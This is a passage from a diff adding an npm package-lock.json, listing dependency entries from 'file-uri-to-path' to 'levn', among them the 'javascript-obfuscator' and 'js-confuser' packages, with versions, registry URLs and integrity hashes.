"sha512-DCXu6Ifhqcks7TZKY3Hxp3y6qphY5SJZmrWMDrKcERSOXWQdMhU9Ig/PYrzyw/ul9jOIyh0N4M0tbC5hodg8dw==", + "license": "MIT" + }, + "node_modules/file-uri-to-path": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/file-uri-to-path/-/file-uri-to-path-1.0.0.tgz", + "integrity": "sha512-0Zt+s3L7Vf1biwWZ29aARiVYLx7iMGnEUl9x33fbB/j3jR81u/O2LbqK+Bm1CDSNDKVtJ/YjwY7TUd5SkeLQLw==", + "license": "MIT" + }, + "node_modules/follow-redirects": { + "version": "1.15.11", + "resolved": "https://registry.npmjs.org/follow-redirects/-/follow-redirects-1.15.11.tgz", + "integrity": "sha512-deG2P0JfjrTxl50XGCDyfI97ZGVCxIpfKYmfyrQ54n5FO/0gfIES8C/Psl6kWVDolizcaaxZJnTS0QSMxvnsBQ==", + "funding": [ + { + "type": "individual", + "url": "https://github.com/sponsors/RubenVerborgh" + } + ], + "license": "MIT", + "engines": { + "node": ">=4.0" + }, + "peerDependenciesMeta": { + "debug": { + "optional": true + } + } + }, + "node_modules/for-each": { + "version": "0.3.5", + "resolved": "https://registry.npmjs.org/for-each/-/for-each-0.3.5.tgz", + "integrity": "sha512-dKx12eRCVIzqCxFGplyFKJMPvLEWgmNtUrpTiJIR5u97zEhRG8ySrtboPHZXx7daLxQVrl643cTzbab2tkQjxg==", + "license": "MIT", + "dependencies": { + "is-callable": "^1.2.7" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/foreground-child": { + "version": "3.3.1", + "resolved": "https://registry.npmjs.org/foreground-child/-/foreground-child-3.3.1.tgz", + "integrity": "sha512-gIXjKqtFuWEgzFRJA9WCQeSJLZDjgJUOMCMzxtvFq/37KojM1BFGufqsCy0r4qSQmYLsZYMeyRqzIWOMup03sw==", + "license": "ISC", + "dependencies": { + "cross-spawn": "^7.0.6", + "signal-exit": "^4.0.1" + }, + "engines": { + "node": ">=14" + }, + "funding": { + "url": "https://github.com/sponsors/isaacs" + } + }, + "node_modules/form-data": { + "version": "4.0.5", + "resolved": "https://registry.npmjs.org/form-data/-/form-data-4.0.5.tgz", + "integrity": "sha512-8RipRLol37bNs2bhoV67fiTEvdTrbMUYcFTiy3+wuuOnUog2QBHCZWXDRijWQfAkhBj2Uf5UnVaiWwA5vdd82w==", + "license": "MIT", + "dependencies": { + "asynckit": "^0.4.0", + "combined-stream": "^1.0.8", + "es-set-tostringtag": "^2.1.0", + "hasown": "^2.0.2", + "mime-types": "^2.1.12" + }, + "engines": { + "node": ">= 6" + } + }, + "node_modules/fs-constants": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/fs-constants/-/fs-constants-1.0.0.tgz", + "integrity": "sha512-y6OAwoSIf7FyjMIv94u+b5rdheZEjzR63GTyZJm5qh4Bi+2YgwLCcI/fPFZkL5PSixOt6ZNKm+w+Hfp/Bciwow==", + "license": "MIT" + }, + "node_modules/fs-minipass": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/fs-minipass/-/fs-minipass-2.1.0.tgz", + "integrity": "sha512-V/JgOLFCS+R6Vcq0slCuaeWEdNC3ouDlJMNIsacH2VtALiu9mV4LPrHc5cDl8k5aw6J8jwgWWpiTo5RYhmIzvg==", + "license": "ISC", + "dependencies": { + "minipass": "^3.0.0" + }, + "engines": { + "node": ">= 8" + } + }, + "node_modules/fs-minipass/node_modules/minipass": { + "version": "3.3.6", + "resolved": "https://registry.npmjs.org/minipass/-/minipass-3.3.6.tgz", + "integrity": "sha512-DxiNidxSEK+tHG6zOIklvNOwm3hvCrbUrdtzY74U6HKTJxvIDfOUL5W5P2Ghd3DTkhhKPYGqeNUIh5qcM4YBfw==", + "license": "ISC", + "dependencies": { + "yallist": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/fs.realpath": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/fs.realpath/-/fs.realpath-1.0.0.tgz", + "integrity": "sha512-OO0pH2lK6a0hZnAdau5ItzHPI6pUlvI7jMVnxUQRtw4owF2wk8lOSabtGDCTP4Ggrg2MbGnWO9X8K1t4+fGMDw==", + "license": "ISC", + "optional": true + }, + "node_modules/function-bind": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/function-bind/-/function-bind-1.1.2.tgz", + "integrity": "sha512-7XHNxH7qX9xG5mIwxkhumTox/MIRNcOgDrxWsMt2pAr23WHp6MrRlN7FBSFpCpr+oVO0F744iUgR82nJMfG2SA==", + "license": "MIT", + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/gauge": { + "version": "4.0.4", + "resolved": "https://registry.npmjs.org/gauge/-/gauge-4.0.4.tgz", + "integrity": "sha512-f9m+BEN5jkg6a0fZjleidjN51VE1X+mPFQ2DJ0uv1V39oCLCbsGe6yjbBnp7eK7z/+GAon99a3nHuqbuuthyPg==", + "deprecated": "This package is no longer supported.", + "license": "ISC", + "optional": true, + "dependencies": { + "aproba": "^1.0.3 || ^2.0.0", + "color-support": "^1.1.3", + "console-control-strings": "^1.1.0", + "has-unicode": "^2.0.1", + "signal-exit": "^3.0.7", + "string-width": "^4.2.3", + "strip-ansi": "^6.0.1", + "wide-align": "^1.1.5" + }, + "engines": { + "node": "^12.13.0 || ^14.15.0 || >=16.0.0" + } + }, + "node_modules/gauge/node_modules/ansi-regex": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.1.tgz", + "integrity": "sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ==", + "license": "MIT", + "optional": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/gauge/node_modules/emoji-regex": { + "version": "8.0.0", + "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-8.0.0.tgz", + "integrity": "sha512-MSjYzcWNOA0ewAHpz0MxpYFvwg6yjy1NG3xteoqz644VCo/RPgnr1/GGt+ic3iJTzQ8Eu3TdM14SawnVUmGE6A==", + "license": "MIT", + "optional": true + }, + "node_modules/gauge/node_modules/signal-exit": { + "version": "3.0.7", + "resolved": "https://registry.npmjs.org/signal-exit/-/signal-exit-3.0.7.tgz", + "integrity": "sha512-wnD2ZE+l+SPC/uoS0vXeE9L1+0wuaMqKlfz9AMUo38JsyLSBWSFcHR1Rri62LZc12vLr1gb3jl7iwQhgwpAbGQ==", + "license": "ISC", + "optional": true + }, + "node_modules/gauge/node_modules/string-width": { + "version": "4.2.3", + "resolved": "https://registry.npmjs.org/string-width/-/string-width-4.2.3.tgz", + "integrity": "sha512-wKyQRQpjJ0sIp62ErSZdGsjMJWsap5oRNihHhu6G7JVO/9jIB6UyevL+tXuOqrng8j/cxKTWyWUwvSTriiZz/g==", + "license": "MIT", + "optional": true, + "dependencies": { + "emoji-regex": "^8.0.0", + "is-fullwidth-code-point": "^3.0.0", + "strip-ansi": "^6.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/gauge/node_modules/strip-ansi": { + "version": "6.0.1", + "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.1.tgz", + "integrity": "sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==", + "license": "MIT", + "optional": true, + "dependencies": { + "ansi-regex": "^5.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/generator-function": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/generator-function/-/generator-function-2.0.1.tgz", + "integrity": "sha512-SFdFmIJi+ybC0vjlHN0ZGVGHc3lgE0DxPAT0djjVg+kjOnSqclqmj0KQ7ykTOLP6YxoqOvuAODGdcHJn+43q3g==", + "license": "MIT", + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/get-intrinsic": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/get-intrinsic/-/get-intrinsic-1.3.0.tgz", + "integrity": "sha512-9fSjSaos/fRIVIp+xSJlE6lfwhES7LNtKaCBIamHsjr2na1BiABJPo0mOjjz8GJDURarmCPGqaiVg5mfjb98CQ==", + "license": "MIT", + "dependencies": { + "call-bind-apply-helpers": "^1.0.2", + "es-define-property": "^1.0.1", + "es-errors": "^1.3.0", + "es-object-atoms": "^1.1.1", + "function-bind": "^1.1.2", + "get-proto": "^1.0.1", + "gopd": "^1.2.0", + "has-symbols": "^1.1.0", + "hasown": "^2.0.2", + "math-intrinsics": "^1.1.0" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/get-proto": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/get-proto/-/get-proto-1.0.1.tgz", + "integrity": "sha512-sTSfBjoXBp89JvIKIefqw7U2CCebsc74kiY6awiGogKtoSGbgjYE/G/+l9sF3MWFPNc9IcoOC4ODfKHfxFmp0g==", + "license": "MIT", + "dependencies": { + "dunder-proto": "^1.0.1", + "es-object-atoms": "^1.0.0" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/github-from-package": { + "version": "0.0.0", + "resolved": "https://registry.npmjs.org/github-from-package/-/github-from-package-0.0.0.tgz", + "integrity": "sha512-SyHy3T1v2NUXn29OsWdxmK6RwHD+vkj3v8en8AOBZ1wBQ/hCAQ5bAQTD02kW4W9tUp/3Qh6J8r9EvntiyCmOOw==", + "license": "MIT" + }, + "node_modules/glob": { + "version": "10.5.0", + "resolved": "https://registry.npmjs.org/glob/-/glob-10.5.0.tgz", + "integrity": "sha512-DfXN8DfhJ7NH3Oe7cFmu3NCu1wKbkReJ8TorzSAFbSKrlNaQSKfIzqYqVY8zlbs2NLBbWpRiU52GX2PbaBVNkg==", + "license": "ISC", + "dependencies": { + "foreground-child": "^3.1.0", + "jackspeak": "^3.1.2", + "minimatch": "^9.0.4", + "minipass": "^7.1.2", + "package-json-from-dist": "^1.0.0", + "path-scurry": "^1.11.1" + }, + "bin": { + "glob": "dist/esm/bin.mjs" + }, + "funding": { + "url": "https://github.com/sponsors/isaacs" + } + }, + "node_modules/gopd": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/gopd/-/gopd-1.2.0.tgz", + "integrity": "sha512-ZUKRh6/kUFoAiTAtTYPZJ3hw9wNxx+BIBOijnlG9PnrJsCcSjs1wyyD6vJpaYtgnzDrKYRSqf3OO6Rfa93xsRg==", + "license": "MIT", + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/graceful-fs": { + "version": "4.2.11", + "resolved": "https://registry.npmjs.org/graceful-fs/-/graceful-fs-4.2.11.tgz", + "integrity": "sha512-RbJ5/jmFcNNCcDV5o9eTnBLJ/HszWV0P73bc+Ff4nS/rJj+YaS6IGyiOL0VoBYX+l1Wrl3k63h/KrH+nhJ0XvQ==", + "license": "ISC" + }, + "node_modules/has-flag": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/has-property-descriptors": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/has-property-descriptors/-/has-property-descriptors-1.0.2.tgz", + "integrity": "sha512-55JNKuIW+vq4Ke1BjOTjM2YctQIvCT7GFzHwmfZPGo5wnrgkid0YQtnAleFSqumZm4az3n2BS+erby5ipJdgrg==", + "license": "MIT", + "dependencies": { + "es-define-property": "^1.0.0" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/has-symbols": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/has-symbols/-/has-symbols-1.1.0.tgz", + "integrity": "sha512-1cDNdwJ2Jaohmb3sg4OmKaMBwuC48sYni5HUw2DvsC8LjGTLK9h+eb1X6RyuOHe4hT0ULCW68iomhjUoKUqlPQ==", + "license": "MIT", + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/has-tostringtag": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/has-tostringtag/-/has-tostringtag-1.0.2.tgz", + "integrity": "sha512-NqADB8VjPFLM2V0VvHUewwwsw0ZWBaIdgo+ieHtK3hasLz4qeCRjYcqfB6AQrBggRKppKF8L52/VqdVsO47Dlw==", + "license": "MIT", + "dependencies": { + "has-symbols": "^1.0.3" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/has-unicode": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/has-unicode/-/has-unicode-2.0.1.tgz", + "integrity": "sha512-8Rf9Y83NBReMnx0gFzA8JImQACstCYWUplepDa9xprwwtmgEZUF0h/i5xSA625zB/I37EtrswSST6OXxwaaIJQ==", + "license": "ISC", + "optional": true + }, + "node_modules/hasown": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/hasown/-/hasown-2.0.2.tgz", + "integrity": "sha512-0hJU9SCPvmMzIBdZFqNPXWa6dqh7WdH0cII9y+CyS8rG3nL48Bclra9HmKhVVUHyPWNH5Y7xDwAB7bfgSjkUMQ==", + "license": "MIT", + "dependencies": { + "function-bind": "^1.1.2" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/http-cache-semantics": { + "version": "4.2.0", + "resolved": "https://registry.npmjs.org/http-cache-semantics/-/http-cache-semantics-4.2.0.tgz", + "integrity": "sha512-dTxcvPXqPvXBQpq5dUr6mEMJX4oIEFv6bwom3FDwKRDsuIjjJGANqhBuoAn9c1RQJIdAKav33ED65E2ys+87QQ==", + "license": "BSD-2-Clause", + "optional": true + }, + "node_modules/http-proxy-agent": { + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/http-proxy-agent/-/http-proxy-agent-4.0.1.tgz", + "integrity": "sha512-k0zdNgqWTGA6aeIRVpvfVob4fL52dTfaehylg0Y4UvSySvOq/Y+BOyPrgpUrA7HylqvU8vIZGsRuXmspskV0Tg==", + "license": "MIT", + "optional": true, + "dependencies": { + "@tootallnate/once": "1", + "agent-base": "6", + "debug": "4" + }, + "engines": { + "node": ">= 6" + } + }, + "node_modules/https-proxy-agent": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/https-proxy-agent/-/https-proxy-agent-5.0.1.tgz", + "integrity": "sha512-dFcAjpTQFgoLMzC2VwU+C/CbS7uRL0lWmxDITmqm7C+7F0Odmj6s9l6alZc6AELXhrnggM2CeWSXHGOdX2YtwA==", + "license": "MIT", + "optional": true, + "dependencies": { + "agent-base": "6", + "debug": "4" + }, + "engines": { + "node": ">= 6" + } + }, + "node_modules/humanize-ms": { + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/humanize-ms/-/humanize-ms-1.2.1.tgz", + "integrity": "sha512-Fl70vYtsAFb/C06PTS9dZBo7ihau+Tu/DNCk/OyHhea07S+aeMWpFFkUaXRa8fI+ScZbEI8dfSxwY7gxZ9SAVQ==", + "license": "MIT", + "optional": true, + "dependencies": { + "ms": "^2.0.0" + } + }, + "node_modules/iconv-lite": { + "version": "0.6.3", + "resolved": "https://registry.npmjs.org/iconv-lite/-/iconv-lite-0.6.3.tgz", + "integrity": "sha512-4fCk79wshMdzMp2rH06qWrJE4iolqLhCUH+OiuIgU++RB0+94NlDL81atO7GX55uUKueo0txHNtvEyI6D7WdMw==", + "license": "MIT", + "optional": true, + "dependencies": { + "safer-buffer": ">= 2.1.2 < 3.0.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/ieee754": { + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/ieee754/-/ieee754-1.2.1.tgz", + "integrity": "sha512-dcyqhDvX1C46lXZcVqCpK+FtMRQVdIMN6/Df5js2zouUsqG7I6sFxitIC+7KYK29KdXOLHdu9zL4sFnoVQnqaA==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/feross" + }, + { + "type": "patreon", + "url": "https://www.patreon.com/feross" + }, + { + "type": "consulting", + "url": "https://feross.org/support" + } + ], + "license": "BSD-3-Clause" + }, + "node_modules/imurmurhash": { + "version": "0.1.4", + "resolved": "https://registry.npmjs.org/imurmurhash/-/imurmurhash-0.1.4.tgz", + "integrity": "sha512-JmXMZ6wuvDmLiHEml9ykzqO6lwFbof0GG4IkcGaENdCRDDmMVnny7s5HsIgHCbaq0w2MyPhDqkhTUgS2LU2PHA==", + "license": "MIT", + "optional": true, + "engines": { + "node": ">=0.8.19" + } + }, + "node_modules/indent-string": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/indent-string/-/indent-string-4.0.0.tgz", + "integrity": "sha512-EdDDZu4A2OyIK7Lr/2zG+w5jmbuk1DVBnEwREQvBzspBJkCEbRa8GxU1lghYcaGJCnRWibjDXlq779X1/y5xwg==", + "license": "MIT", + "optional": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/infer-owner": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/infer-owner/-/infer-owner-1.0.4.tgz", + "integrity": "sha512-IClj+Xz94+d7irH5qRyfJonOdfTzuDaifE6ZPWfx0N0+/ATZCbuTPq2prFl526urkQd90WyUKIh1DfBQ2hMz9A==", + "license": "ISC", + "optional": true + }, + "node_modules/inflight": { + "version": "1.0.6", + "resolved": "https://registry.npmjs.org/inflight/-/inflight-1.0.6.tgz", + "integrity": "sha512-k92I/b08q4wvFscXCLvqfsHCrjrF7yiXsQuIVvVE7N82W3+aqpzuUdBbfhWcy/FZR3/4IgflMgKLOsvPDrGCJA==", + "deprecated": "This module is not supported, and leaks memory. Do not use it. Check out lru-cache if you want a good and tested way to coalesce async requests by a key value, which is much more comprehensive and powerful.", + "license": "ISC", + "optional": true, + "dependencies": { + "once": "^1.3.0", + "wrappy": "1" + } + }, + "node_modules/inherits": { + "version": "2.0.4", + "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.4.tgz", + "integrity": "sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ==", + "license": "ISC" + }, + "node_modules/ini": { + "version": "1.3.8", + "resolved": "https://registry.npmjs.org/ini/-/ini-1.3.8.tgz", + "integrity": "sha512-JV/yugV2uzW5iMRSiZAyDtQd+nxtUnjeLt0acNdw98kKLrvuRVyB80tsREOE7yvGVgalhZ6RNXCmEHkUKBKxew==", + "license": "ISC" + }, + "node_modules/inversify": { + "version": "6.1.4", + "resolved": "https://registry.npmjs.org/inversify/-/inversify-6.1.4.tgz", + "integrity": "sha512-PbxrZH/gTa1fpPEEGAjJQzK8tKMIp5gRg6EFNJlCtzUcycuNdmhv3uk5P8Itm/RIjgHJO16oQRLo9IHzQN51bA==", + "license": "MIT", + "dependencies": { + "@inversifyjs/common": "1.3.3", + "@inversifyjs/core": "1.3.4" + } + }, + "node_modules/ip-address": { + "version": "10.1.0", + "resolved": "https://registry.npmjs.org/ip-address/-/ip-address-10.1.0.tgz", + "integrity": "sha512-XXADHxXmvT9+CRxhXg56LJovE+bmWnEWB78LB83VZTprKTmaC5QfruXocxzTZ2Kl0DNwKuBdlIhjL8LeY8Sf8Q==", + "license": "MIT", + "optional": true, + "engines": { + "node": ">= 12" + } + }, + "node_modules/is-arguments": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/is-arguments/-/is-arguments-1.2.0.tgz", + "integrity": "sha512-7bVbi0huj/wrIAOzb8U1aszg9kdi3KN/CyU19CTI7tAoZYEZoL9yCDXpbXN+uPsuWnP02cyug1gleqq+TU+YCA==", + "license": "MIT", + "dependencies": { + "call-bound": "^1.0.2", + "has-tostringtag": "^1.0.2" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/is-buffer": { + "version": "1.1.6", + "resolved": "https://registry.npmjs.org/is-buffer/-/is-buffer-1.1.6.tgz", + "integrity": "sha512-NcdALwpXkTm5Zvvbk7owOUSvVvBKDgKP5/ewfXEznmQFfs4ZRmanOeKBTjRVjka3QFoN6XJ+9F3USqfHqTaU5w==", + "license": "MIT" + }, + "node_modules/is-callable": { + "version": "1.2.7", + "resolved": "https://registry.npmjs.org/is-callable/-/is-callable-1.2.7.tgz", + "integrity": "sha512-1BC0BVFhS/p0qtw6enp8e+8OD0UrK0oFLztSjNzhcKA3WDuJxxAPXzPuPtKkjEY9UUoEWlX/8fgKeu2S8i9JTA==", + "license": "MIT", + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/is-fullwidth-code-point": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-3.0.0.tgz", + "integrity": "sha512-zymm5+u+sCsSWyD9qNaejV3DFvhCKclKdizYaJUuHA83RLjb7nSuGnddCHGv0hk+KY7BMAlsWeK4Ueg6EV6XQg==", + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/is-generator-function": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/is-generator-function/-/is-generator-function-1.1.2.tgz", + "integrity": "sha512-upqt1SkGkODW9tsGNG5mtXTXtECizwtS2kA161M+gJPc1xdb/Ax629af6YrTwcOeQHbewrPNlE5Dx7kzvXTizA==", + "license": "MIT", + "dependencies": { + "call-bound": "^1.0.4", + "generator-function": "^2.0.0", + "get-proto": "^1.0.1", + "has-tostringtag": "^1.0.2", + "safe-regex-test": "^1.1.0" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/is-lambda": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/is-lambda/-/is-lambda-1.0.1.tgz", + "integrity": "sha512-z7CMFGNrENq5iFB9Bqo64Xk6Y9sg+epq1myIcdHaGnbMTYOxvzsEtdYqQUylB7LxfkvgrrjP32T6Ywciio9UIQ==", + "license": "MIT", + "optional": true + }, + "node_modules/is-nan": { + "version": "1.3.2", + "resolved": "https://registry.npmjs.org/is-nan/-/is-nan-1.3.2.tgz", + "integrity": "sha512-E+zBKpQ2t6MEo1VsonYmluk9NxGrbzpeeLC2xIViuO2EjU2xsXsBPwTr3Ykv9l08UYEVEdWeRZNouaZqF6RN0w==", + "license": "MIT", + "dependencies": { + "call-bind": "^1.0.0", + "define-properties": "^1.1.3" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/is-regex": { + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/is-regex/-/is-regex-1.2.1.tgz", + "integrity": "sha512-MjYsKHO5O7mCsmRGxWcLWheFqN9DJ/2TmngvjKXihe6efViPqc274+Fx/4fYj/r03+ESvBdTXK0V6tA3rgez1g==", + "license": "MIT", + "dependencies": { + "call-bound": "^1.0.2", + "gopd": "^1.2.0", + "has-tostringtag": "^1.0.2", + "hasown": "^2.0.2" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/is-stream": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/is-stream/-/is-stream-2.0.1.tgz", + "integrity": "sha512-hFoiJiTl63nn+kstHGBtewWSKnQLpyb155KHheA1l39uvtO9nWIop1p3udqPcUd/xbF1VLMO4n7OI6p7RbngDg==", + "license": "MIT", + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/is-typed-array": { + "version": "1.1.15", + "resolved": "https://registry.npmjs.org/is-typed-array/-/is-typed-array-1.1.15.tgz", + "integrity": "sha512-p3EcsicXjit7SaskXHs1hA91QxgTw46Fv6EFKKGS5DRFLD8yKnohjF3hxoju94b/OcMZoQukzpPpBE9uLVKzgQ==", + "license": "MIT", + "dependencies": { + "which-typed-array": "^1.1.16" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/isarray": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/isarray/-/isarray-1.0.0.tgz", + "integrity": "sha512-VLghIWNM6ELQzo7zwmcg0NmTVyWKYjvIeM83yjp0wRDTmUnrM678fQbcKBo6n2CJEF0szoG//ytg+TKla89ALQ==", + "license": "MIT" + }, + "node_modules/isexe": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/isexe/-/isexe-2.0.0.tgz", + "integrity": "sha512-RHxMLp9lnKHGHRng9QFhRCMbYAcVpn69smSGcq3f36xjgVVWThj4qqLbTLlq7Ssj8B+fIQ1EuCEGI2lKsyQeIw==", + "license": "ISC" + }, + "node_modules/jackspeak": { + "version": "3.4.3", + "resolved": "https://registry.npmjs.org/jackspeak/-/jackspeak-3.4.3.tgz", + "integrity": "sha512-OGlZQpz2yfahA/Rd1Y8Cd9SIEsqvXkLVoSw/cgwhnhFMDbsQFeZYoJJ7bIZBS9BcamUW96asq/npPWugM+RQBw==", + "license": "BlueOak-1.0.0", + "dependencies": { + "@isaacs/cliui": "^8.0.2" + }, + "funding": { + "url": "https://github.com/sponsors/isaacs" + }, + "optionalDependencies": { + "@pkgjs/parseargs": "^0.11.0" + } + }, + "node_modules/javascript-obfuscator": { + "version": "4.2.0", + "resolved": "https://registry.npmjs.org/javascript-obfuscator/-/javascript-obfuscator-4.2.0.tgz", + "integrity": "sha512-EBhZ30WvfjmPrxVYHGemPmEJ6dG7c8BX7TPdrzWwf3+8or3/H6u6tyKlzjmM8f2DyxZ5QBKR7yWw4WxOsQPecA==", + "hasInstallScript": true, + "license": "BSD-2-Clause", + "dependencies": { + "@javascript-obfuscator/escodegen": "2.3.1", + "@javascript-obfuscator/estraverse": "5.4.0", + "acorn": "8.15.0", + "assert": "2.1.0", + "chalk": "4.1.2", + "chance": "1.1.13", + "class-validator": "0.14.3", + "commander": "12.1.0", + "eslint-scope": "8.4.0", + "eslint-visitor-keys": "4.2.1", + "fast-deep-equal": "3.1.3", + "inversify": "6.1.4", + "js-string-escape": "1.0.1", + "md5": "2.3.0", + "mkdirp": "3.0.1", + "multimatch": "7.0.0", + "opencollective-postinstall": "2.0.3", + "process": "0.11.10", + "reflect-metadata": "0.2.2", + "source-map-support": "0.5.21", + "string-template": "1.0.0", + "stringz": "2.1.0", + "tslib": "2.8.1" + }, + "bin": { + "javascript-obfuscator": "bin/javascript-obfuscator" + }, + "engines": { + "node": ">=18.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/javascript-obfuscator" + } + }, + "node_modules/js-confuser": { + "version": "1.7.3", + "resolved": "https://registry.npmjs.org/js-confuser/-/js-confuser-1.7.3.tgz", + "integrity": "sha512-tavbUa6fXGCv8l346hdnCmoMnoBnYCbbCVFOv2BkcOQ60TE6KUTShOMKdiNgYxrrUUvnC2+7veAOJLFC/ewWmQ==", + "license": "MIT", + "dependencies": { + "acorn": "^8.12.1", + "escodegen": "^2.1.0" + } + }, + "node_modules/js-string-escape": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/js-string-escape/-/js-string-escape-1.0.1.tgz", + "integrity": "sha512-Smw4xcfIQ5LVjAOuJCvN/zIodzA/BBSsluuoSykP+lUvScIi4U6RJLfwHet5cxFnCswUjISV8oAXaqaJDY3chg==", + "license": "MIT", + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/lazystream": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/lazystream/-/lazystream-1.0.1.tgz", + "integrity": "sha512-b94GiNHQNy6JNTrt5w6zNyffMrNkXZb3KTkCZJb2V1xaEGCk093vkZ2jk3tpaeP33/OiXC+WvK9AxUebnf5nbw==", + "license": "MIT", + "dependencies": { + "readable-stream": "^2.0.5" + }, + "engines": { + "node": ">= 0.6.3" + } + }, + "node_modules/lazystream/node_modules/readable-stream": { + "version": "2.3.8", + "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.8.tgz", + "integrity": "sha512-8p0AUk4XODgIewSi0l8Epjs+EVnWiK7NoDIEGU0HhE7+ZyY8D1IMY7odu5lRrFXGg71L15KG8QrPmum45RTtdA==", + "license": "MIT", + "dependencies": { + "core-util-is": "~1.0.0", + "inherits": "~2.0.3", + "isarray": "~1.0.0", + "process-nextick-args": "~2.0.0", + "safe-buffer": "~5.1.1", + "string_decoder": "~1.1.1", + "util-deprecate": "~1.0.1" + } + }, + "node_modules/lazystream/node_modules/safe-buffer": { + "version": "5.1.2", + "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.1.2.tgz", + "integrity": "sha512-Gd2UZBJDkXlY7GbJxfsE8/nvKkUEU1G38c1siN6QP6a9PT9MmHB8GnpscSmMJSoF8LOIrt8ud/wPtojys4G6+g==", + "license": "MIT" + }, + "node_modules/lazystream/node_modules/string_decoder": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.1.1.tgz", + "integrity": "sha512-n/ShnvDi6FHbbVfviro+WojiFzv+s8MPMHBczVePfUpDJLwoLT0ht1l4YwBCbi8pJAveEEdnkHyPyTP/mzRfwg==", + "license": "MIT", + "dependencies": { + "safe-buffer": "~5.1.0" + } + }, + "node_modules/levn": { + "version": "0.3.0", + "resolved": "https://registry.npmjs.org/levn/-/levn-0.3.0.tgz", + "integrity": 